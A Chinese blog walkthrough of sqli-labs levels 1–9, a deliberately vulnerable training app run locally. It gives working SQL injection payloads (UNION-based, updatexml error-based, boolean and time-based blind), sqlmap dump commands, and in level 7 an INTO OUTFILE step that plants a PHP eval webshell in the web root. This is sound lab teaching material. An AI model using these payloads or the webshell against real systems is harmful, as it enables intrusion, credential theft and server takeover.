sql-labs通關筆記(上)

Don_Joshua發表於2024-07-01

sql-labs通關筆記(上)

這裡我們先只講解less-1到less-9
Untitled

聯合查詢注入

Less-1:GET -Error based.Single quotes -string

介面

Untitled

在url中加入?id=1

Untitled

?id=-1

Untitled

判斷注入點

使用’或\來判斷是否存在注入點

Untitled

payload

http://127.0.0.1/sqli/Less-1/?id=-1'

報錯資訊

near ''-1'' LIMIT 0,1' at line 1

報錯資訊中,去掉用於標識的兩個單引號,報錯資訊為'-1'' LIMIT 0,1

可以看到我們這一關的sql語句是用單引號閉合的,我們確認一下

payload

http://127.0.0.1/sqli/Less-1/?id=-1' or 1=1--+

回顯

Untitled

現在已經可以確定其存在字元型的注入點,使用單引號閉合

判斷欄位數

關於order by

眾所周知,order by是用於排序的,而其中有一項就是可以按照查詢資料的索引來舉行排序

比如:

select id,title from news order by 2;

意思就是我們按照查詢結果的第二個欄位也就是title進行升序(預設升序)排序

結果:

Untitled

但是當我們的索引號大於我們查詢的欄位總數時,就會報錯,就比如剛剛一段程式碼,我們查詢的欄位數為2,當我們以第三個欄位進行排序時,就會報錯

select id,title from news order by 3;

結果:

Untitled

因此,我們可以藉助order by這個關鍵字來判斷查詢語句中,查詢的欄位數數量

我們大概可以看到,每次id改變,回顯大概有兩個,一個使用者名稱,一個密碼

Untitled

因此說明這條查詢語句查詢的欄位至少是2個

我們從3開始,發現並沒有報錯

payload

http://127.0.0.1/sqli/Less-1/?id=1' order by 3--+

結果:

Untitled

繼續嘗試4

payload

http://127.0.0.1/sqli/Less-1/?id=1' order by 4--+

結果:

Untitled

由此我們可以發現,我們當前頁面的sql語句查詢的欄位數為3

那麼我們為什麼要判斷欄位數呢?

因為我們要使用聯合查詢進行注入,而聯合查詢後面聯合的sql查詢語句查詢的欄位數需要和前面的sql語句一致,我們依舊在一個資料庫中進行演示

比如:

當後面查詢語句查詢的欄位數和前面查詢語句查詢的欄位數相同時:

select id,title from news union select 1,2;

結果:會將結果羅列到後面

Untitled

當後面查詢語句查詢的欄位數和前面查詢語句查詢的欄位數不同時:

select id,title from news union select 1,2,3;

結果:會報錯,具有不同的欄位數

Untitled

判斷出查詢語句的欄位數後,我們就可以判斷回顯位置了,判斷我們查詢的(3個)欄位,會有幾個將結果回顯到網頁頁面

判斷回顯位置

payload

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3--+

結果:可以發現我們的2,3回顯到網頁頁面了,因此我們後面就可以將需要查詢的資訊,放到2,3的位置上即可

Untitled

那麼,為什麼前面要將id=-1?

因為我們網頁的回顯位置有限,為了將我們想要的資料回顯到頁面上可以回顯的位置,所以需要將原本的查詢結果集置為空,因為沒有id=-1的資料,所以我們想要的資料1,2,3就會優先填充到回顯位上了

爆破資料庫名

payload

?id=-1' union select 1,2,database()--+

結果:查詢到當前資料庫名稱為security

Untitled

爆破錶名

payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  • group_concat() 將查詢到的多個值聚合成一個字串,依舊是因為回顯位置不足,將其聚合在一個字串,可以直接全部回顯出來
  • information_schema MYSQL自帶的資料庫,裡面含有schemastablescoulmns表等,分別儲存著所有資料庫的資訊(包括名稱,其餘也是),所有表的資訊,所有欄位的資訊,是我們sql注入的強大利器

結果:得到表名emails,referers,uagents,users

Untitled

一般來說我們最需要的就是使用者名稱和密碼,這種東西一般存在users表中,接下來爆破users表的欄位

爆破欄位名

payload

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

結果:成功得到欄位名user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,uname,passwd

Untitled

可以看到我們查出的資料有點多,我們去資料庫中對比一下

Untitled

發現其實只有三個欄位,那麼,為什麼會查出這麼多呢?

沒錯,因為我們沒有指定資料庫的名稱,只指定了表的名字,當多個資料庫中存在相同的表名時,都會被查詢出來。如果出現了這種情況,我們可以同時指定資料庫的名稱

payload

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

結果:只有id,username,password

Untitled

而我們需要的資料,就是usernamepassword

爆破資料

payload

?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
  • 0x7e ~的十六進位制編碼,用來分隔資料

結果:得到所有資料,第一關結束

Untitled

Less-2:GET -Error based -intiger based

介面

在url中加入?id=1

Untitled

在url中加入?id=-1

Untitled

判斷注入點

使用’或\來判斷是否存在注入點

Untitled

payload

http://127.0.0.1/sqli/Less-2/?id=-1\

報錯資訊

near '\ LIMIT 0,1' at line 1

去掉,用來引用報錯資訊的單引號,我們可以知道,存在注入點,並且為數值型注入

判斷欄位數

payload

?id=1 order by 3--+

結果

Untitled

payload

?id=1 order by 4--+

結果:判斷出欄位數為3

Untitled

判斷回顯位置

payload

?id=-1 union select 1,2,3--+

結果:可以發現我們的2,3回顯到網頁頁面了,因此我們後面就可以將需要查詢的資訊,放到2,3的位置上即可

Untitled

爆破資料庫名

payload

?id=-1 union select 1,2,database()--+

結果:查詢到當前資料庫名稱為security

Untitled

爆破錶名

payload

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

結果:得到表名emails,referers,uagents,users

Untitled

爆破欄位名

payload

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

結果:成功得到欄位名id,username,password

Untitled

爆破資料

payload

?id=-1 union select 1,2,group_concat(username,0x7e,password) from users--+

結果:得到所有資料,第二關結束

Untitled

Less-3:GET -Error based -Single quotes with twist -string

介面

在url中加入?id=1

Untitled

在url中加入?id=-1

Untitled

判斷注入點

使用’或\來判斷是否存在注入點

Untitled

payload

http://127.0.0.1/sqli/Less-3/?id=-1\

報錯資訊

near ''-1\') LIMIT 0,1' at line 1

去掉用於引用報錯資訊的單引號'-1\') LIMIT 0,1 我們可以知道,此時的sql語句是用單引號和括號閉合的

判斷欄位數

payload

?id=1') order by 3--+

結果

Untitled

payload

?id=1') order by 4--+

結果:可以判斷欄位數為3

Untitled

判斷回顯位置

payload

?id=-1') union select 1,2,3--+

結果:可以發現我們的2,3回顯到網頁頁面了,因此我們後面就可以將需要查詢的資訊,放到2,3的位置上即可

Untitled

爆破資料庫名

payload

?id=-1') union select 1,2,database()--+

結果:查詢到當前資料庫名稱為security

Untitled

爆破錶名

payload

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

結果:得到表名emails,referers,uagents,users

Untitled

爆破欄位名

payload

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

結果:成功得到欄位名id,username,password

Untitled

爆破資料

payload

?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+

結果:得到所有資料,第三關結束

Untitled

Less-4:GET -Error based -Double Quotes -string

介面

在url中加入?id=1

Untitled

在url中加入?id=-1

Untitled

判斷注入點

使用’或\來判斷是否存在注入點

Untitled

payload

http://127.0.0.1/sqli/Less-4/?id=-1\

報錯資訊

near '"-1\") LIMIT 0,1' at line 1

去掉用於引用報錯資訊的單引號"-1\") LIMIT 0,1 我們可以知道,此時的sql語句是用雙引號和括號閉合的

判斷欄位數

payload

?id=1") order by 3--+

結果:

Untitled

payload

?id=1") order by 4--+

結果:可以判斷欄位數為3

Untitled

判斷回顯位置

payload

?id=-1") union select 1,2,3--+

結果:可以發現我們的2,3回顯到網頁頁面了,因此我們後面就可以將需要查詢的資訊,放到2,3的位置上

Untitled

爆破資料庫名

payload

?id=-1") union select 1,2,database()--+

結果:查詢到當前資料庫名稱為security

Untitled

爆破錶名

payload

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

結果:得到表名emails,referers,uagents,users

Untitled

爆破欄位名

payload

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

結果:成功得到欄位名id,username,password

Untitled

爆破資料

payload

?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+

結果:得到所有資料,第四關結束

Untitled

報錯注入

Less-5:GET -Double Injection -single Quotes -String

介面

在url中加入?id=1

Untitled

在url中加入?id=-1

Untitled

判斷注入點

使用’或\來判斷是否存在注入點

Untitled

payload

http://127.0.0.1/sqli/Less-5/?id=-1\

報錯資訊

near ''-1\' LIMIT 0,1' at line 1

去掉用於引用報錯資訊的單引號'-1\' LIMIT 0,1 我們可以知道,此時的sql語句是用單引號閉合的

判斷欄位數

payload

?id=1' order by 3--+

結果:

Untitled

payload

?id=1' order by 4--+

結果:可以判斷欄位數為3

Untitled

判斷回顯位置

payload

?id=-1' union select 1,2,3--+

結果:發現並沒有回顯,但是我們可以發現前面會有顯示報錯資訊,因此我們可以採用報錯注入

Untitled

關於報錯注入

所謂的報錯注入就是利用報錯資訊回顯,把想要的結果顯示在報錯資訊中

因此,使用報錯注入的前提就是頁面會顯示報錯資訊

就說說我最常用的一種報錯注入的方式吧,其他的大家可以自行學習

利用xpath語法錯誤注入

  • 適用版本:mysql版本號大於5.1.5
  • 從mysql5.1.5開始提供兩個XML查詢和修改的函式,extractvalue()和updatexml()
  • Extractvalue()負責在xml文件中按照xpath語法查詢節點內容
  • updatexml()則負責修改查詢到的內容
  • 用法:這兩個函式的第二個引數都要求是符合xpath語法的字串,如果不滿足要求就會報錯,並且會把查詢結果放在報錯資訊裡

比如:

payload

select -1 and updatexml(1,concat(0x7e,database()),1)

結果:因為我們的第二個引數並不符合xpath語法的要求,所以產生報錯執行第二個引數的語句

Untitled

所以這題我們就可以利用報錯注入

爆破資料庫名

payload

?id=-1' and updatexml(1,concat(0x7e,database()),1) --+

結果:得到資料庫名security

Untitled

爆破錶名

payload

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

結果:得到表名emails,referers,uagents,users

Untitled

爆破欄位名

payload

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1) --+

結果:成功得到欄位名id,username,password

Untitled

爆破資料

payload

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1) --+

結果:得到(部分)資料,其實與之前的資料相比就能看出來這次得到的資料是不完全的

Untitled

那麼為什麼我們回顯的資料不完全呢?

因為updatexml() 函式和extractvalue()的報錯內容長度不能超過 32 個字元,所以需要我們對結果進行處理,可以讓我們多次拿出我們想要的資料

我們應該如何處理?

可以使用mid(),left(),substring()函式來對結果字串進行處理,這裡以substring進行演示

關於substring

SUBSTRING ( expression, start, length )

  • expression
    • 字串、二進位制字串、文字、影像、列或包含列的表示式。請勿使用包含聚合函式的表示式。
  • start
    • 整數或可以隱式轉換為 int 的表示式,指定子字串的開始位置,索引是從1開始。
  • length
    • 整數或可以隱式轉換為 int 的表示式,指定子字串的長度。經測試,暫且發現只能是非負數

就拿我們當前的題目舉例,給結果加上substring,我們現在只取第一個字元

也就是相應的應該為substring(xxx,1,1),也就是將結果從第一位開始取,取1位

payload

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),1,1)),1) --+

結果:只有第一位字元D

Untitled

那麼我們知道,報錯資訊只能輸出32位,相當於以下語句

payload

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),1,32)),1) --+

結果:和不加這個substring是一樣的

Untitled

而現在我們想要得到後面的資料,(因為我們前面還有一個0x7e,所以後面的字元只顯示31位,也就是說預設顯示的資料是(~+1-31位的資料),前面的0x7e去掉也沒問題)所以我們需要從第32位開始,只需要將開始位改為32即可,即substring(xxx,32,32)

payload

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),32,32)),1) --+

結果:得到後面的部分結果,因此我們可以利用這個方法得到所有資料,後面不再演示,第五關結束

Untitled

Less-6:GET -Double injection -Double Quotes -string

介面

在url中加入?id=1

Untitled

在url中加入?id=-1

Untitled

可以看到這次介面上依舊沒有回顯,基本可以確定不能使用聯合查詢注入

判斷注入點

使用’或\來判斷是否存在注入點

Untitled

payload

http://127.0.0.1/sqli/Less-6/?id=-1\

報錯資訊:存在報錯資訊,說明可以使用報錯注入

near '"-1\" LIMIT 0,1' at line 1

去掉用於引用報錯資訊的單引號"-1\" LIMIT 0,1 我們可以知道,此時的sql語句是雙引號閉合的

爆破資料庫名

payload

?id=-1" and updatexml(1,concat(0x7e,database()),1) --+

結果:得到資料庫名security

Untitled

爆破錶名

payload

?id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

結果:得到表名emails,referers,uagents,users

Untitled

爆破欄位名

payload

?id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1) --+

結果:成功得到欄位名id,username,password

Untitled

爆破資料

payload

?id=-1" and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),1,32)),1) --+

結果:得到(部分)資料,第六關結束

Untitled

寫入檔案

Less-7:GET -Dump into outfile -string

介面

在url中加入?id=1

Untitled

在url中加入?id=-1

Untitled

得到的基礎資訊是,無回顯,無具體的報錯資訊,那麼可能我們的聯合查詢注入和報錯注入都不能使用

判斷注入點

透過頁面不同的反饋來判斷注入點和閉合方式,我們知道如果未能將引號閉合時,會發生報錯

也就是說若是閉合方式中有我們嘗試的字元,就會報錯,如果沒有就不會報錯。

而報錯和不報錯頁面都在上面了,我們開始嘗試

先看最內層是單引號還是雙引號

payload:單引號

?id=1'

結果:其實已經可以看出閉合方式中含有單引號了,我們繼續試一下雙引號

Untitled

payload:雙引號

?id=1"

結果:未報錯,說明不含雙引號

Untitled

此時我們判斷出,閉合方式中含有單引號,我們假設只有單引號,加上or 1=1 —+ 如果完全閉合將不會報錯,若未完全閉合,就會報錯

payload

?id=1' or 1=1 --+

結果:報錯,說明未完全閉合

Untitled

我們繼續嘗試,直到不報錯即可,最後判斷出閉合方式為一個單引號和兩個括號

payload

?id=1')) --+

結果:未報錯,判斷閉合方式成功

Untitled

但是,沒有回顯不能用聯合注入,沒有精確的報錯資訊無法使用報錯注入,我們應該如何呢?

可以看到,不報錯的頁面有一個提示Use outfile ,我們可以聯想到sql語句中的into outfile

關於into outfile

sql語句中into outfile函式可以將檔案匯入到資料庫的目錄中

在演示之前,我們需要知道完成into outfile操作需要滿足三點要求

  • 1.具有root許可權。
  • 2.在資料庫配置檔案中的 配置項含有:secure_file_priv=''。(注意在資料庫中此項預設為secure_file_priv=null)
  • 3.知道資料庫的絕對路徑。

第一點,我們在搭建靶場時就是使用的root連線的資料庫,所以第一點我們已經滿足了

第二點我們需要手動修改,首先使用命令列連線mysql資料庫
如果沒有新增環境變數可以到我們phpstudy的mysql檔案位置

Untitled

然後進入到bin目錄下

Untitled

shift+右鍵開啟命令列,輸入密碼連線資料庫

mysql -u root -p

Untitled

檢視secure_file_priv配置,如果為null則無法進行檔案匯出操作,預設為null

show variables like '%secure%';

Untitled

開啟mysql下的my.ini

Untitled

secure_file_priv="/" 新增到配置檔案

Untitled

此時重啟mysql服務,然後再次查詢,發現已經成功了,此時我們已經對C:\目錄下的所有檔案具有寫入許可權了

show variables like '%secure%';

Untitled

此時我們可以寫入以下試試

payload

select 1,2,3 into outfile "C:\\phpStudy\\1.txt"

結果:成功寫入

Untitled

Untitled

但是一般情況下,可以寫入的目錄不可能是整個C盤,一般只是在Mysql的目錄下,或者其他特定目錄比如phpStudy目錄下的WWW目錄。這就需要我們需要其他方式獲得可以寫入檔案的路徑

比如可以透過有回顯的頁面獲取,我們可以去到less-1

使用查詢@@basedir,@@datadir 來確定MySQL的基礎目錄和資料目錄,

payload

?id=-1' union select 1,@@basedir,@@datadir--+

結果:得到可寫入目錄C:/phpStudy/MySQL/C:\phpStudy\MySQL\data\,但一般能透過這種方式找到寫入目錄,我們也可以得到資料庫中的其他資料,因此這種情形應用場景還是比較有限的,現在我們就模擬擁有對phpStudy的WWW目錄的寫入許可權

Untitled

寫入木馬

payload

?id=-1')) union select 1,2,"<?php @eval($_POST[1]);?>" into outfile "C:\\phpStudy\\WWW\\shell.php"--+

結果:報錯,需要訪問shell.php來確定寫入是否成功

Untitled

訪問shell.php:

payload:

http://127.0.0.1/shell.php

結果:寫入成功

Untitled

使用蟻劍連線木馬

連線成功

Untitled

也可以利用此辦法將資料寫入這種可訪問的檔案

將資料寫入可訪問的檔案

payload:將資料寫入result.txt

?id=-1')) union select 1,2,group_concat(username,0x7e,password)from users into outfile "C:\\phpStudy\\WWW\\result.txt"--+

結果:訪問result.txt,第七關結束

Untitled

盲注

Less-8:GET -Blind -Boolian Based -single Quotes

介面

在url中加入?id=1

Untitled

在url中加入?id=-1

Untitled

沒有回顯,沒有報錯資訊,但真和假條件的頁面不同,可以採用盲注

判斷注入點

使用’來判斷是否存在注入點

payload

http://127.0.0.1/sqli/Less-8/?id=1'

結果:報錯說明其中含有單引號,註釋掉後面的單引號,看是否報錯

Untitled

payload

http://127.0.0.1/sqli/Less-8/?id=1' --+

結果:不報錯,說明閉合方式為單引號

Untitled

爆破資料庫名

payload:and兩端都為真,整體結果才為真

/?id=1' and ascii(substring((select database()),1,1))>1--+

結果:可以真假頁面顯示的不同來判斷我們構造的條件是否正確,scii(substring((select database()),1,1))>1 為真

Untitled

payload

/?id=1' and ascii(substring((select database()),1,1))>128--+

結果:ascii(substring((select database()),1,1))>128--+ 為假

Untitled

我們可以使用這種方式並結合二分法來快速猜取資料庫名,表名等

最終得到資料庫名為security

payload

?id=1' and (select database())="security"--+

結果:資料庫名為security

Untitled

當然,這種方法還是有些麻煩,我們可以藉助工具和指令碼來完成,這裡演示一下使用sqlmap進行爆破

使用Sqlmap進行GET型別注入

payload

sqlmap -u http://192.168.199.128/sqli/Less-8/?id=1 
  • -u 表示要進行注入的地方

結果:得到此get注入的存在的注入型別為布林盲注

Untitled

使用Sqlmap爆破資料庫名稱

payload:在剛剛的基礎上加入—dbs/—current-db

sqlmap -u http://192.168.199.128/sqli/Less-8/?id=1 --dbs
  • --dbs 對所有資料庫名稱進行爆破
  • --current-db對當前使用資料庫機型爆破

結果:得到資料庫名security

Untitled

使用Sqlmap爆破錶名稱

payload

sqlmap -u http://192.168.199.128/sqli/Less-8/?id=1 -D security --tables
  • -D 指定資料庫
  • --tables 對錶名進行爆破

結果:得到表名users

Untitled

使用Sqlmap爆破欄位名稱

payload

sqlmap -u http://192.168.199.128/sqli/Less-8/?id=1 -D security -T users --columns
  • -T 指定表名
  • --columns 對欄位名進行爆破

結果:得到欄位名

Untitled

使用Sqlmap爆破資料

payload

sqlmap -u http://192.168.199.128/sqli/Less-8/?id=1 -D security -T users --dump --threads 10
  • --dump 對資料進行爆破
  • --threads 10 使用十執行緒當資料較多時增加執行緒可以加快速度

結果:得到資料,第八關結束

Untitled

Less-9:GET - Blind Time based - single Quotes

介面

在url中加入?id=1

Untitled

在url中加入?id=-1

Untitled

我們其實可以知道,當資料庫沒有一個資料的時候,應當會報錯或是頁面應該和查到一個資料的時候不同,我們的布林盲注就是利用如此原理,但此時我們發現無論輸入的id正確與否,頁面都未發生改變,又無回顯也沒有報錯資訊,因此此時可以使用時間盲注

時間盲注

布林盲注時根據頁面的變化作為參照讓我們知道我們構造的條件是否正確,而當頁面沒有變化時,我們仍需要一個參照來確認我們構造的條件是否正確

用什麼作為參照?

沒錯,就是時間,在sql中有一個函式為sleep(n)可以將程式掛起n秒鐘,並且搭配if(1,2,3),達到當我們構造的條件為真時,就進行睡眠。為假時就不做操作的效果

函式及效果

  • if(1,2,3) 1處為條件,為真時執行2處語句,為假時執行3處語句
  • sleep(n) 將程式掛起n秒鐘

判斷注入點

使用各種符號加上 and sleep(3)—+來判斷閉合方式,需要保持and前的條件為真

payload

?id=1' and sleep(3)--+

結果:頁面掛起將近三秒sleep正確執行,閉合方式為單引號

頁面延遲近3秒

Untitled

也可以在F12的開發者工具中的網路中看到延遲

Untitled

關於and和or的使用

那麼為什麼要使用and,而不用or呢?

在此之前我們需要知道and和or的執行特性

我們都知道and只有在兩邊的條件都為真的時候,整體才為真

那麼當第一個條件為假的時候,我們的第二個條件還會執行麼?

我們可以在資料庫中驗證一下

payload:如果第一個條件為假變不會執行第二個,那麼我們的程式便不會掛起,反之,掛起將近3s

select false and sleep(3);

結果:未掛起,說明在and中第一個條件為假時不會執行第二個,我們可以構造一條第一個條件為真時執行並判斷第二個條件的sql語句來驗證這個結論

Untitled

payload:

select true and sleep(3);

結果:掛起三秒後顯示結果,驗證了上一個結論,並且說明在and中當第一個條件為真時會繼續執行並驗證第二個條件

Untitled

由and的特性來說,最終結果為0,也就是假,說明sleep()的返回值為假

Untitled

那麼,關於or呢?

我們都知道or是兩邊任一為真時,整體的結果為真

那麼當第一個結果為真,還會繼續執行並判斷第二個條件麼?

我們繼續在資料庫中實驗

payload

select true or sleep(3);

結果:並未掛起,說明在or中當第一個條件為真時不會對第二個條件進行執行和判斷

Untitled

我們可以構造一條第一個條件為假時執行並判斷第二個條件的sql語句來驗證這個結論

payload

select false or sleep(3);

結果:掛起將近三秒,說明在or中若第一個條件為假,則會接著判斷第二個條件

Untitled

那麼,還記得我們最初的問題麼?為什麼使用and不用or?

我們試著將一開始的語句換成or試試

SELECT * FROM users WHERE id='1' or sleep(3)

結果:掛起將近一分鐘

Untitled

那麼為什麼會掛起一分鐘呢?

我們分析一下,當查詢語句每查到一條資料的時候,按照or的判斷規則

都會先判斷第一個條件即

判斷id是否等於1,若不等於就會睡眠3秒,只有當id等於1的時候才不會掛起

因此當資料庫條目很多的時候,則會造成掛起很久的情況。

因此不建議使用or

爆破資料庫名

payload

?id=1' and if(ascii(substring((select database()),1,1))>10,sleep(3),0)--+

結果:判斷出資料庫的第一個字元為s,睡眠三秒,後面將使用sqlmap進行演示

Untitled

payload

sqlmap -u http://192.168.199.128/sqli/Less-9/?id=1 --threads 10 

結果:發現時間型盲注

Untitled

payload

sqlmap -u http://192.168.199.128/sqli/Less-9/?id=1 --threads 10 --current-db 

結果:得到資料庫名security

Untitled

爆破錶名

payload

sqlmap -u http://192.168.199.128/sqli/Less-9/?id=1 --threads 10 -D security --tables

結果:得到表名

Untitled

爆破欄位名

payload

sqlmap -u http://192.168.199.128/sqli/Less-9/?id=1 --threads 10 -D security -T users --columns

結果:得到欄位名

Untitled

爆破資料

payload

sqlmap -u http://192.168.199.128/sqli/Less-9/?id=1 --threads 10 -D security --dump

結果:得到資料,第九關結束

Untitled

相關文章